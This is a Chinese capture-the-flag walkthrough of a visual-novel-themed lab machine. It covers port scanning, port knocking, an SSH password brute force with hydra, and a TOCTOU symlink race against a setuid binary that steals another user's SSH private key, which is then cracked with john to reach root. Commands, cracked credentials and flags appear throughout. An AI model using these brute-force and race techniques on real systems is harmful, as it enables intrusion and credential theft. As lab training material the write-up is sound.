<h1>sunset</h1>
<h2>Recon</h2>
<pre><code class="hljs language-bash">➜ sunset nmap -sn 192.168.56.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 00:47 CST
Nmap scan report for 192.168.56.1
Host is up (0.00033s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00017s latency).
MAC Address: 08:00:27:A0:BB:26 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.73
Host is up (0.00023s latency).
MAC Address: 08:00:27:F3:E2:F2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
</code></pre>
仅开启 <code>80</code> 端口
<pre><code class="hljs language-bash">➜ sunset nmap -sT -min-rate 10000 192.168.56.73 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 00:47 CST
Nmap scan report for 192.168.56.73
Host is up (0.00082s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:F3:E2:F2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
</code></pre>
<h2>Web 渗透</h2>
<h3>信息收集</h3>
访问 <code>HTTP</code> 服务
是一个剧情的序章，剧情根据 《秽翼的尤斯蒂娅》 改的
<img src="/post-images/Personalsunset/image.png" alt="image.png">
但是除了序章就没别的内容给，我们对其进行目录扫描
<pre><code class="hljs language-bash">➜ ~ dirsearch -u http://192.168.56.73 -e php,txt,zip -x 403,404,503

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, zip | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/reports/http_192.168.56.73/_25-06-10_00-50-32.txt

Target: http://192.168.56.73/

[00:50:32] Starting: 
[00:50:37] 200 - 2KB - /1.txt
[00:51:12] 200 - 24B - /robots.txt

Task Completed
</code></pre>
<code>1.txt</code> 是台词（用于快速阅读）
<img src="/post-images/Personalsunset/image1.png" alt="image.png">
<code>/robots.txt</code> 告诉我们目录中存在 <code>CaimAstraea'sLetter.txt</code>
<img src="/post-images/Personalsunset/image2.png" alt="image.png">
<code>CaimAstraea'sLetter.txt</code> 大概是告诉我们，我们要去<code>DesolateBeauty</code> 地盘也就是目录
<img src="/post-images/Personalsunset/image3.png" alt="image.png">
<code>DesolateBeauty</code> 又是一段剧情，并提示我们需要敲门（knock），那么应该就是端口敲门，并且要我们到<code>RustlessGoldlock</code> 里找到端口敲门的线索
<img src="/post-images/Personalsunset/image4.png" alt="image.png">
<img src="/post-images/Personalsunset/image5.png" alt="image.png">
<h3>端口敲门 Knockd</h3>
对 <code>RustlessGoldlock</code> 进行搜寻
在开发者控制台中能找到 <code>key2=2333</code>
<img src="/post-images/Personalsunset/image6.png" alt="image.png">
目录扫描能扫描到 <code>key.zip</code> ,解压后能得到<code>key1=7000</code>
<img src="/post-images/Personalsunset/image7.png" alt="image.png">
最后<code>key</code>能在背景图中能找到 <code>key3 = 2131</code>
根据线索端口敲门
<img src="/post-images/Personalsunset/image8.png" alt="image.png">
<pre><code class="hljs language-bash">knock 192.168.56.78 7000 2333 2131
</code></pre>
敲门后我们再对其进行端口扫描，可以发现多出了一个<code>ssh</code>端口
<pre><code class="hljs language-bash">➜ ~ nmap -sT -min-rate 10000 192.168.56.78
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 10:32 CST
Nmap scan report for 192.168.56.78
Host is up (0.00040s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:4C:98:9C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds
</code></pre>
<h3>SSH 爆破</h3>
那么这里<code>ssh</code>就是被锁着房子，这里我们拥有的用户名有<code>caim</code>和<code>eric</code>，根据剧情，我们以<code>caim</code>用户去爆破
很快就能爆破出来
<pre><code class="hljs language-bash">➜ ~ hydra -l caim -P /usr/share/wordlists/rockyou.txt -t 12 192.168.56.78 ssh
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-10 10:34:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 12 tasks per 1 server, overall 12 tasks, 14344399 login tries (l:1/p:14344399), ~1195367 tries per task
[DATA] attacking ssh://192.168.56.78:22/
[22][ssh] host: 192.168.56.78 login: caim password: hannah
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-10 10:35:07
</code></pre>
<code>caim</code>用户家目录下能拿到 <code>user.txt</code>
<pre><code class="hljs language-bash">caim@Prison:~$ cat user.txt 
flag{user-29988429c481f219b8c5ba8c071440e1}
</code></pre>
<h2>权限提升</h2>
<h3>TOCTOU</h3>
<code>caim</code>用户家目录下的文件
<pre><code class="hljs language-bash">caim@Prison:~$ ls
Info.txt ReadHeart ReadHeart.c user.txt
</code></pre>
<code>Info.txt</code> 使我们下一步要做的事
<pre><code class="hljs language-bash">caim@Prison:~$ cat Info.txt 
「凯伊姆进了房子，艾莉丝坐在椅子上，双目无神，看不到一点生机」
「カイムが部屋に入ると、エリスは椅子に座り、虚ろな目をしており、生気のかけらもなかった」
「As caim entered the room, eric was sitting on a chair, her eyes vacant, not a trace of life within them.」

「这时候你突然地意识到，艾莉丝又变回了刚赎身时什么都不懂的『人形』」
「そのとき、あなたはふと気づく。エリスが身請けされたばかりの頃の、何も知らない『人形』に戻ってしまっていることに」
「At that moment, you suddenly realize that eric has reverted into the 'doll' she was when she had just been redeemed—knowing nothing.」

「你发现艾莉丝的脖子上的吊坠（ReadHeart）能发出只有提亚才能发出的『终焉的晚霞』的光芒」
「そしてあなたは気づく。エリスの首にかかるペンダント（ReadHeart）が、ティアだけが放つことのできる『終焉の夕焼け』の光を放っていることに」
「Then you notice it—the pendant (ReadHeart) on eric’s neck is emitting the glow of the 'Final Sunset,' a light that only Tia could release.」

「你握住它，你仿佛坠入了深海里，里面都是艾莉丝的回忆，这是你能找回原本的艾莉丝的唯一的机会」
「それに触れた瞬間、あなたはまるで深海に沈むような感覚に包まれる。その中はエリスの記憶で満ちている。これが、かつての本当のエリスを取り戻す唯一の機会なのだ」
「As you grasp it, you feel as though you’re sinking into the deep sea—filled with eric’s memories. This is your one and only chance to bring back the real eric.」
</code></pre>
大概就是运行<code>ReadHeart</code> 去找回艾莉丝
<pre><code class="hljs language-bash">caim@Prison:~$ cat ReadHeart.c
Not Here.
</code></pre>
发现<code>ReadHeart</code> 能读取文件，并且拥有 <code>eric</code> 的<code>sid</code> 权限
<pre><code class="hljs language-bash">caim@Prison:~$ ls -al ReadHeart
-rwsr-sr-x 1 eric eric 16464 Jun 9 08:10 ReadHeart
</code></pre>
<pre><code class="hljs language-bash">caim@Prison:~$ ./ReadHeart /etc/passwd
Is this eric?

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
caim:x:1000:1000:Caim Astraea,,,:/home/caim:/bin/bash
eric:x:1001:1001:Eris Floralia:/home/eric:/bin/bash
</code></pre>
但是读取不了自己的权限以外的东西，我们将其拉出来进行逆向
<pre><code class="hljs language-bash">int __fastcall main(int argc, const char **argv, const char **envp)
{
 char v4[1024]; // [rsp+10h] [rbp-4B0h] BYREF
 struct stat buf; // [rsp+410h] [rbp-B0h] BYREF
 int v6; // [rsp+4A0h] [rbp-20h]
 int fd; // [rsp+4A4h] [rbp-1Ch]
 _BOOL4 v8; // [rsp+4A8h] [rbp-18h]
 _BOOL4 v9; // [rsp+4ACh] [rbp-14h]
 __int128 v10; // [rsp+4B0h] [rbp-10h]

 if ( argc == 2 )
 {
 if ( access(argv[1], 0) )
 {
 puts("Didn't find Eric");
 return 1;
 }
 else if ( getuid() == 1000 )
 {
 *((_QWORD *)&#x26;v10 + 1) = strstr(argv[1], "flag");
 *(_QWORD *)&#x26;v10 = strstr(argv[1], "id_rsa");
 if ( lstat(argv[1], &#x26;buf) )
 {
 perror("lstat failed");
 return 1;
 }
 else
 {
 v9 = (buf.st_mode &#x26; 0xF000) == 40960;
 v8 = access(argv[1], 4) == 0;
 usleep(0x2710u);
 if ( v10 == 0 &#x26;&#x26; !v9 &#x26;&#x26; v8 )
 {
 puts("Is this eric?\n");
 fd = open(argv[1], 0);
 if ( fd >= 0 )
 {
 do
 {
 v6 = read(fd, v4, 0x400uLL);
 if ( v6 > 0 )
 write(1, v4, v6);
 }
 while ( v6 > 0 );
 close(fd);
 return 0;
 }
 else
 {
 perror("Didn't find Eric...");
 return 1;
 }
 }
 else
 {
 puts("You can't");
 return 1;
 }
 }
 }
 else
 {
 puts("Only Caim");
 return 1;
 }
 }
 else
 {
 puts("Usage: ./ReadHeart &#x3C;SomeFile>");
 return 1;
 }
}
</code></pre>
通过<code>AI</code>分析该程序容易被 <code>TOCTOU</code> 攻击利用，<code>Time-of-Check to Time-of-Use</code> (TOCTOU) 漏洞
程序先用 <code>lstat()</code> 和 <code>access()</code> 做检查，然后调用 <code>usleep(10000)</code> 故意延迟，最后再用 <code>open()</code> 打开文件。这中间的微小时间窗口（甚至更短的窗口，在高速机器上也足以触发）就能让攻击者把检查通过的那个普通文件迅速替换成一个符号链接或者目标敏感文件，从而绕过检查。
所以我们快速创建文件，然后将文件挂载，又将文件删除，又创建文件…让文件一直变化
<pre><code class="hljs language-bash">while true; do touch heart; ln -sf /home/eric/.ssh/id_rsa heart; rm heart; done &#x26;
</code></pre>
然后我们再写一个循环使用<code>ReadHeart</code>读取私钥，因为成功读取时会输出 “<code>Is this eric?</code>”所以我们根据”<code>this</code>”来筛选，然后判断<code>$finded</code> 是否不为空，不为空则输出结果，为空则继续循环。
<pre><code class="hljs language-bash">while true; do finded=$(/home/caim/ReadHeart heart | grep -Ev 'this'| grep .);if [[ -n "$finded" ]]; then echo -e "$finded"; break; fi; done
</code></pre>
<img src="/post-images/Personalsunset/image9.png" alt="image.png">
<h3>私钥爆破</h3>
得到私钥后，我们尝试进行登录，需要密码
<pre><code class="hljs language-bash">➜ Test ssh eric@192.168.56.79 -i hash 
Enter passphrase for key 'hash': 
</code></pre>
使用<code>john</code>将其转为可破解的
<pre><code class="hljs language-bash">➜ Test ssh2john hash > 1.txt 
</code></pre>
破解，得到密码 <code>iloveu</code>
<pre><code class="hljs language-bash">➜ Test john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveu (hash) 
1g 0:00:00:02 DONE (2025-06-10 11:30) 0.4464g/s 28.57p/s 28.57c/s 28.57C/s 123456..charlie
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>
<h3>Root</h3>
来到 <code>eric</code> 的家目录
<pre><code class="hljs language-bash">eric@Prison:~$ ls
TheFinalDecision
</code></pre>
只有一个程序，直接运行
是一串的剧情，两个结局都可以直接拿到 root 的密码
<pre><code class="hljs language-bash">之后，在凯伊姆的劝说下，艾莉丝和以前一样，一点点的像普通人一样为自己而活
その後、カイムの説得もあって、エリスは再び少しずつ普通の人のように自分のために生き始めた。
Afterward, with caim’s encouragement, eric once again began, little by little, to live for herself like an ordinary person.

艾莉丝在牢狱开了间诊所，为牢狱的病人看病，并且有了新目标
エリスは牢獄に診療所を開き、囚人たちの診療を行い、新たな目標を持った。
Eric opened a clinic in the prison, treated the prisoners, and found a new purpose.

在第五章，叛乱军攻上皇城之际，艾莉丝特意去找凯伊姆将自己赎身的钱给了凯伊姆
第五章で、反乱軍が皇城に攻め込んだとき、エリスはわざわざカイムのもとを訪れ、自分の身請け金を彼に渡した。
In Chapter 5, as the rebel army stormed the royal castle, eric deliberately went to caim and gave him the money for her redemption.

希望在这个战乱的时候能没有遗憾地离开，也为了向凯伊姆展示自己已经成功独立
この戦乱の中で、悔いなく去るために。そして、カイムに自分が自立できたことを示すために。
She wished to leave without regrets amidst the chaos of war—and to show caim that she had truly become independent.

但是艾莉丝，你真的释怀了吗？
でも、エリス……本当に心から解放されたのか？
But eric... have you truly found peace in your heart?
The final password: CialloCiall0
</code></pre>
直接切 <code>root</code> ，读取 <code>root.txt</code>
<pre><code class="hljs language-bash">root@Prison:~# cat root.txt 
flag{root-35dd4ab1f81016d5eb3b3a5d7494667f}
</code></pre>
<h2>总结</h2>
打过<code>thm</code>的<code>breakme</code> 的可能对提权有印象，因为<code>TOCTOU</code>和那里的很像，我也是在那里学到<code>TOCTOU</code>攻击的

Personal - sunset

HackTheBox - Machine - Cap